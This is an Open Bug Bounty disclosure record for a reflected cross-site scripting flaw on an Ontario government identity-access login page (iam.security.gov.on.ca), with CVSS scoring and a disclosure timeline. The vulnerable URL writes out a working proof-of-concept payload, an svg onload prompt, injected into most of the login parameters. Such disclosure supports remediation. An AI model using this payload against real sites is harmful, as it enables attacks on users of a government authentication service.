iam.security.gov.on.ca XSS vulnerability

2017-11-28T21:26:00
ID OBB:440995
Type openbugbounty
Reporter ut
Modified 2018-02-26T21:26:00

Description

Open Bug Bounty ID: OBB-440995

Description| Value
---|---
Affected Website:| iam.security.gov.on.ca
Vulnerable Application:| Custom Code
Vulnerability Type:| XSS (Cross Site Scripting) / CWE-79
CVSSv3 Score:| 6.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N]
Remediation Guide:| OWASP XSS Prevention Cheat Sheet

Vulnerable URL:
https://www.iam.security.gov.on.ca/goID/access/index.jsp?authn_try_count=1%22%3E%3Csvg/onload=prompt(/OPENBUGBOUNTY/)%3E&contextType;=external%22%3E%3Csvg/onload=prompt(/OPENBUGBOUNTY/)%3E&username;=string%22%3E%3Csvg/onload=prompt(/OPENBUGBOUNTY/)%3E&contextValue;=/oam%22%3E%3Csvg/onload=prompt(/OPENBUGBOUNTY/)%3E&password;=sercure_string%22%3E%3Csvg/onload=prompt(/OPENBUGBOUNTY/)%3E&challenge;_url=https://www.iam.security.gov.on.ca:443/goID/access/index.jsp%22%3E%3Csvg/onload=prompt(/OPENBUGBOUNTY/)%3E&ssoCookie;=Secure;+httponly%22%3E%3Csvg/onload=prompt(/OPENBUGBOUNTY/)%3E&request;_id=-2278500010071796221%22%3E%3Csvg/onload=prompt(/OPENBUGBOUNTY/)%3E&OAM;_REQ=%22%3E%3Csvg/onload=prompt(/OPENBUGBOUNTY/)%3E&p;_error_code=OAM-1%22%3E%3Csvg/onload=prompt(/OPENBUGBOUNTY/)%3E&p;_sec_error_msg=%22%3E%3Csvg/onload=prompt(/OPENBUGBOUNTY/)%3E&locale;=en_US%22%3E%3Csvg/onload=prompt(/OPENBUGBOUNTY/)%3E&resource;_url=https%3A%2F%2Fwww.iam.security.gov.on.ca%2Foim%2Ffaces%2Fpages%2FSelf.jspx
Coordinated Disclosure Timeline

Description| Value
---|---
Vulnerability Reported:| 28 November, 2017 21:26 GMT
Vulnerability Verified:| 28 November, 2017 21:28 GMT
Website Operator Notified:| 28 November, 2017 21:28 GMT
Vulnerability Published:| 28 November, 2017 21:28 GMT[without any technical details]
Public Disclosure:| 26 February, 2018 21:26 GMT